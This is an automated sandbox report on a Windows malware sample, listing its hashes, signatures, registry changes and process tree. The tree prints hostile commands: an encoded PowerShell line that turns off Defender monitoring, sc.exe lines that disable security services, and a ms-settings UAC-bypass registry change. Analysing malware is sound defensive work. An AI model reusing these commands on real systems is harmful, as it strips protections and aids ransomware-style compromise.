Analysis
- max time kernel
149s - max time network
145s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
05/05/2026, 12:12
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
ciuscenter.org_hyber.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
37 signatures
150 seconds
Behavioral task
behavioral2
Sample
ciuscenter.org_hyber.exe
Resource
win11-20260130-en
windows11-21h2-x64
35 signatures
150 seconds
General
- Target ciuscenter.org_hyber.exe
- Size 51KB
- Sample260505-pdbpvae18y
- SHA256 a8a9f30697664b488ba07a8716167b94350c162c2f424b4e15ef59d9552d0710
- MD5 fbf8476865de6c5e32069758ccc065d2
- SHA1 5c1d6ac63bcacf2f89420e484a14a9a818f33b17
- SHA512 59105f73dd0c0072f19aa3f04f7d2db5f0f9c6e654518290bf09f02d5ccaab0bd15dccf8a583f481bd3501d5f9c15e271b2b29a9311b65f6479c2c81cc500398
- SSDEEP 768:eVTtLYhD+7o19oDJLnk5zATSulgSs/lnhaeG7MPLf9jSvB8hE2R:sYhD+YuhnUSgL/GuljS587R
- TLSH T13233084837ED4112E5BF4EBE95B190529332F463DD22DB8E0AD8459E09E3B44CC68B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/2348-0-0x00000000005D0000-0x00000000005E4000-memory.dmp disable_win_def behavioral2/files/0x001500000002b877-2268.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" ciuscenter.org_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4048 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" ciuscenter.org_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts ciuscenter.org_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2432 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf ciuscenter.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf ciuscenter.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf ciuscenter.org_hyber.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ciuscenter.org_hyber.exe" ciuscenter.org_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ciuscenter.org_hyber.exe" ciuscenter.org_hyber.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe ciuscenter.org_hyber.exe File created C:\Windows\system32\sysupdate.exe ciuscenter.org_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe ciuscenter.org_hyber.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 4040 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" ciuscenter.org_hyber.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5344 sc.exe 5500 sc.exe 5536 sc.exe 3000 sc.exe 2836 sc.exe 3948 sc.exe 2224 sc.exe 5324 sc.exe 5856 sc.exe 5628 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1144 NETSTAT.EXE 5668 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 6120 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2908 vssadmin.exe 5856 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Control Panel\Desktop\WallpaperStyle = "2" ciuscenter.org_hyber.exe - Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "145" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open ciuscenter.org_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command\DelegateExecute ciuscenter.org_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ciuscenter.org_hyber.exe" ciuscenter.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command ciuscenter.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet ciuscenter.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell ciuscenter.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command ciuscenter.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell ciuscenter.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command ciuscenter.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell ciuscenter.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings ciuscenter.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings ciuscenter.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open ciuscenter.org_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\.pdf\ = "PDFBotnet" ciuscenter.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open ciuscenter.org_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ciuscenter.org_hyber.exe\" \"%1\"" ciuscenter.org_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2072 schtasks.exe 3816 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4048 powershell.exe 4048 powershell.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe 2348 ciuscenter.org_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1192 LogonUI.exe Token: SeCreatePagefilePrivilege 1192 LogonUI.exe Token: SeDebugPrivilege 2348 ciuscenter.org_hyber.exe Token: SeDebugPrivilege 4048 powershell.exe Token: SeIncBasePriorityPrivilege 2348 ciuscenter.org_hyber.exe Token: SeDebugPrivilege 1144 NETSTAT.EXE Token: SeDebugPrivilege 1200 whoami.exe Token: SeDebugPrivilege 4040 tasklist.exe Token: SeBackupPrivilege 3168 vssvc.exe Token: SeRestorePrivilege 3168 vssvc.exe Token: SeAuditPrivilege 3168 vssvc.exe Token: SeIncreaseQuotaPrivilege 6104 WMIC.exe Token: SeSecurityPrivilege 6104 WMIC.exe Token: SeTakeOwnershipPrivilege 6104 WMIC.exe Token: SeLoadDriverPrivilege 6104 WMIC.exe Token: SeSystemProfilePrivilege 6104 WMIC.exe Token: SeSystemtimePrivilege 6104 WMIC.exe Token: SeProfSingleProcessPrivilege 6104 WMIC.exe Token: SeIncBasePriorityPrivilege 6104 WMIC.exe Token: SeCreatePagefilePrivilege 6104 WMIC.exe Token: SeBackupPrivilege 6104 WMIC.exe Token: SeRestorePrivilege 6104 WMIC.exe Token: SeShutdownPrivilege 6104 WMIC.exe Token: SeDebugPrivilege 6104 WMIC.exe Token: SeSystemEnvironmentPrivilege 6104 WMIC.exe Token: SeRemoteShutdownPrivilege 6104 WMIC.exe Token: SeUndockPrivilege 6104 WMIC.exe Token: SeManageVolumePrivilege 6104 WMIC.exe Token: 33 6104 WMIC.exe Token: 34 6104 WMIC.exe Token: 35 6104 WMIC.exe Token: 36 6104 WMIC.exe Token: SeIncreaseQuotaPrivilege 6104 WMIC.exe Token: SeSecurityPrivilege 6104 WMIC.exe Token: SeTakeOwnershipPrivilege 6104 WMIC.exe Token: SeLoadDriverPrivilege 6104 WMIC.exe Token: SeSystemProfilePrivilege 6104 WMIC.exe Token: SeSystemtimePrivilege 6104 WMIC.exe Token: SeProfSingleProcessPrivilege 6104 WMIC.exe Token: SeIncBasePriorityPrivilege 6104 WMIC.exe Token: SeCreatePagefilePrivilege 6104 WMIC.exe Token: SeBackupPrivilege 6104 WMIC.exe Token: SeRestorePrivilege 6104 WMIC.exe Token: SeShutdownPrivilege 6104 WMIC.exe Token: SeDebugPrivilege 6104 WMIC.exe Token: SeSystemEnvironmentPrivilege 6104 WMIC.exe Token: SeRemoteShutdownPrivilege 6104 WMIC.exe Token: SeUndockPrivilege 6104 WMIC.exe Token: SeManageVolumePrivilege 6104 WMIC.exe Token: 33 6104 WMIC.exe Token: 34 6104 WMIC.exe Token: 35 6104 WMIC.exe Token: 36 6104 WMIC.exe Token: SeIncreaseQuotaPrivilege 4464 WMIC.exe Token: SeSecurityPrivilege 4464 WMIC.exe Token: SeTakeOwnershipPrivilege 4464 WMIC.exe Token: SeLoadDriverPrivilege 4464 WMIC.exe Token: SeSystemProfilePrivilege 4464 WMIC.exe Token: SeSystemtimePrivilege 4464 WMIC.exe Token: SeProfSingleProcessPrivilege 4464 WMIC.exe Token: SeIncBasePriorityPrivilege 4464 WMIC.exe Token: SeCreatePagefilePrivilege 4464 WMIC.exe Token: SeBackupPrivilege 4464 WMIC.exe Token: SeRestorePrivilege 4464 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2348 ciuscenter.org_hyber.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1192 LogonUI.exe 2348 ciuscenter.org_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2348 wrote to memory of 4048 2348 ciuscenter.org_hyber.exe 81 PID 2348 wrote to memory of 5856 2348 ciuscenter.org_hyber.exe 83 PID 2348 wrote to memory of 2836 2348 ciuscenter.org_hyber.exe 85 PID 2348 wrote to memory of 5628 2348 ciuscenter.org_hyber.exe 87 PID 2348 wrote to memory of 3948 2348 ciuscenter.org_hyber.exe 89 PID 2348 wrote to memory of 5344 2348 ciuscenter.org_hyber.exe 91 PID 2348 wrote to memory of 5500 2348 ciuscenter.org_hyber.exe 93 PID 2348 wrote to memory of 2224 2348 ciuscenter.org_hyber.exe 95 PID 2348 wrote to memory of 5324 2348 ciuscenter.org_hyber.exe 97 PID 2348 wrote to memory of 6008 2348 ciuscenter.org_hyber.exe 99 PID 6008 wrote to memory of 1508 6008 fodhelper.exe 100 PID 2348 wrote to memory of 2176 2348 ciuscenter.org_hyber.exe 101 PID 2348 wrote to memory of 2072 2348 ciuscenter.org_hyber.exe 102 PID 2348 wrote to memory of 836 2348 ciuscenter.org_hyber.exe 109 PID 2348 wrote to memory of 3468 2348 ciuscenter.org_hyber.exe 110 PID 2348 wrote to memory of 4716 2348 ciuscenter.org_hyber.exe 111 PID 2348 wrote to memory of 4544 2348 ciuscenter.org_hyber.exe 112 PID 2348 wrote to memory of 400 2348 ciuscenter.org_hyber.exe 113 PID 2348 wrote to memory of 5160 2348 ciuscenter.org_hyber.exe 114 PID 2348 wrote to memory of 5684 2348 ciuscenter.org_hyber.exe 115 PID 2348 wrote to memory of 3816 2348 ciuscenter.org_hyber.exe 116 PID 2348 wrote to memory of 5196 2348 ciuscenter.org_hyber.exe 117 PID 3468 wrote to memory of 6120 3468 cmd.exe 126 PID 5684 wrote to memory of 1144 5684 cmd.exe 127 PID 4544 wrote to memory of 1200 4544 cmd.exe 128 PID 836 wrote to memory of 2908 836 cmd.exe 129 PID 400 wrote to memory of 3904 400 cmd.exe 130 PID 4716 wrote to memory of 4040 4716 cmd.exe 131 PID 3904 wrote to memory of 5164 3904 net.exe 132 PID 5160 wrote to memory of 5668 5160 cmd.exe 133 PID 2348 wrote to memory of 5664 2348 ciuscenter.org_hyber.exe 136 PID 836 wrote to memory of 6104 836 cmd.exe 137 PID 2348 wrote to memory of 5856 2348 ciuscenter.org_hyber.exe 139 PID 2348 wrote to memory of 4464 2348 ciuscenter.org_hyber.exe 141 PID 2348 wrote to memory of 5172 2348 ciuscenter.org_hyber.exe 142 PID 2348 wrote to memory of 2432 2348 ciuscenter.org_hyber.exe 143 PID 2348 wrote to memory of 5536 2348 ciuscenter.org_hyber.exe 144 PID 2348 wrote to memory of 3000 2348 ciuscenter.org_hyber.exe 150 PID 5172 wrote to memory of 908 5172 net.exe 154 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe"C:\Users\Admin\AppData\Local\Temp\ciuscenter.org_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4048
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5856
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2836
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:5628
-
-
